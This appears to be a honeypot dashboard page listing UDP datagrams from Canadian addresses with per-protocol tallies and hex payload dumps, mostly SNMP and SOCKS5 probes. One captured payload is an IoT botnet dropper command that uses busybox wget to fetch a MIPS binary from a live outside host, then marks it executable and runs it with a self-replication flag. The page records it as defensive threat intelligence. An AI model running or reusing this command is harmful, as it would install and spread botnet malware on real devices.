UDP traffic

Datagrams matching country:CA sent to HoneyLabs sensors over UDP in the last 7 days. DNS questions and QUIC client fingerprints are decoded on the sensor. Other datagrams are kept as their first bytes and labelled by protocol where it can be recognised.

A UDP source address can be forged, so each address listed here either sent the traffic or was impersonated by whoever did. UDP traffic is kept out of verdicts, feeds, watchlists and alerts.

Clear search

Datagrams

Source addresses

Networks

Countries

Destination ports

Protocols

raw from 4 sources4
snmp from 1 source2
socks5 from 1 source1

Destination ports

161/udp from 1 source2
19/udp from 1 source1
9034/udp from 1 source1
19444/udp from 1 source1
40701/udp from 1 source1
58858/udp from 1 source1

Networks

AS63949 Akamai Connected Cloud from 2 sources3
AS6327 Shaw Communications from 1 source2
AS398721 OXIO from 1 source1
AS852 TELUS Communications Inc. from 1 source1

Countries

CA Canada7

Source addresses (unverified)

Address	Network	Cc	Datagrams	Last seen (UTC)
174.1.85.183	AS6327 Shaw Communications	CA	2	2026-10-05 17:05
170.187.181.200	AS63949 Akamai Connected Cloud	CA	2	2026-10-05 18:27
38.147.248.154	AS398721 OXIO	CA	1	2026-10-05 16:54
50.99.8.213	AS852 TELUS Communications Inc.	CA	1	2026-10-05 19:49
172.105.106.177	AS63949 Akamai Connected Cloud	CA	1	2026-10-05 20:10

Latest datagrams

2026-10-05 20:10:40172.105.106.177to 19/udprawCA

payload bytes

00000000  0a                                                |.|

2026-10-05 19:49:1950.99.8.213to 58858/udprawCA

·2·LQ#·4Vx·P·;·L

payload bytes

00000000  01 8c 32 ba a6 4c 51 23  d9 00 ff ff 00 fe fe fe  |..2..LQ#........|
00000010  fe fd fd fd fd 12 34 56  78 97 a4 ed 50 85 3b e4  |......4Vx...P.;.|
00000020  4c                                                |L|

2026-10-05 18:27:13170.187.181.200to 161/udpsnmpCA

0&·public·c·0·0 ·+·

payload bytes

00000000  30 26 02 01 01 04 06 70  75 62 6c 69 63 a1 19 02  |0&.....public...|
00000010  04 dc 63 c2 9a 02 01 00  02 01 00 30 0b 30 09 06  |..c........0.0..|
00000020  05 2b 06 01 02 01 05 00                           |.+......|

2026-10-05 17:05:44174.1.85.183to 19444/udprawCA

·k,Z{%·< c·r·U·h

payload bytes

00000000  af 1f a4 c7 6b 2c 5a 7b  25 e6 ef cd ef 1d dd 18  |....k,Z{%.......|
00000010  3c 20 63 ff cf 72 f0 55  9a 68                    |< c..r.U.h|

2026-10-05 16:54:5838.147.248.154to 9034/udprawCA

orf;cd /tmp; rm -rf alya.mpsl; /bin/busybox wget http://202.110.70.60:800/alya.mipsel; chmod +x alya.mipsel; ./alya.mipsel rt.selfrep; #

payload bytes

00000000  6f 72 66 3b 63 64 20 2f  74 6d 70 3b 20 72 6d 20  |orf;cd /tmp; rm |
00000010  2d 72 66 20 61 6c 79 61  2e 6d 70 73 6c 3b 20 2f  |-rf alya.mpsl; /|
00000020  62 69 6e 2f 62 75 73 79  62 6f 78 20 77 67 65 74  |bin/busybox wget|
00000030  20 68 74 74 70 3a 2f 2f  32 30 32 2e 31 31 30 2e  | http://202.110.|
00000040  37 30 2e 36 30 3a 38 30  30 2f 61 6c 79 61 2e 6d  |70.60:800/alya.m|
00000050  69 70 73 65 6c 3b 20 63  68 6d 6f 64 20 2b 78 20  |ipsel; chmod +x |
00000060  61 6c 79 61 2e 6d 69 70  73 65 6c 3b 20 2e 2f 61  |alya.mipsel; ./a|
00000070  6c 79 61 2e 6d 69 70 73  65 6c 20 72 74 2e 73 65  |lya.mipsel rt.se|
00000080  6c 66 72 65 70 3b 20 23                           |lfrep; #|

2026-10-05 16:31:17170.187.181.200to 161/udpsnmpCA

0&·public·c·0·0 ·+·

payload bytes

00000000  30 26 02 01 01 04 06 70  75 62 6c 69 63 a1 19 02  |0&.....public...|
00000010  04 dc 63 c2 9a 02 01 00  02 01 00 30 0b 30 09 06  |..c........0.0..|
00000020  05 2b 06 01 02 01 05 00                           |.+......|

2026-10-05 12:51:04174.1.85.183to 40701/udpsocks5CA

·4Vx·

payload bytes

00000000  05 00 ff ff 00 fe fe fe  fe fd fd fd fd 12 34 56  |..............4V|
00000010  78 07 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |x...............|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
... 512 bytes shown in part